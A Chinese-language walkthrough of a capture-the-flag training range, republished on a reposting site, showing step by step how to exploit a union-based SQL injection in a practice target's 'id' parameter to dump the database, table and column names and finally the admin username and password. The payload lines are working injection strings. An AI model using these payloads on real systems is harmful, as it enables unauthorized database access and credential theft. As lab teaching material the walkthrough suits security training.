封神台靶場:第一章:為了女神小芳!【配套課時:SQL注入攻擊原理 實戰演練】


 

提示:
通過sql注入拿到管理員密碼!

尤里正在追女神小芳,在認識小芳開了一家公司后,尤里通過whois查詢發現了小芳公司網站
學過一點黑客技術的他,想在女神面前炫炫技。於是他打開了

靶場直鏈

http://59.63.200.79:8003/
請求方式    GET  
閉合方式    未知
注入方式    聯合,布爾,延時
注入代碼  id=1 and 1=1

從下圖可以看出,這里可能存在注入點。

 進行注入點測試

?id=1 and 1=1 #  頁面正常顯示 ?id=1 and 1=2 #  頁面顯示不正常
?id=1 and sleep(5) #  頁面存在明顯延遲

我們采用簡單方便的聯合注入

用order by X對字段數進行測試,通過修改X的數量查看頁面返回是否正常。
經測試,字段數為2

?id=1111 order by 2

我們采用聯合查詢union select判斷數據輸出時的顯示位置。
?id=-1 union select 111,222

上面的語句,理論上可以,但在這里好像出了點問題,估計對id值做了一個簡單的處理
我們采用寧外的構造語句
?id=1 and 1=2 union select 111,222

 我們直接爆出當前數據庫maoshe

?id=1 and 1=2 union select 111,database()

爆表名

?id=1 and 1=2 union select 111,(select group_concat(table_name,"~") from information_schema.tables where table_schema='maoshe' )

爆字段名

?id=1 and 1=2 union select 111,(select group_concat(column_name,"~") from information_schema.columns where table_schema='maoshe' and table_name='admin' )

爆出數據

利用獲得庫名、表名、字段名爆出數據
?id=1 and 1=2 union select 111,(select group_concat(id,'~',username,'~',password,'~') from maoshe.admin)

賬號  admin
密碼  hellohack

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM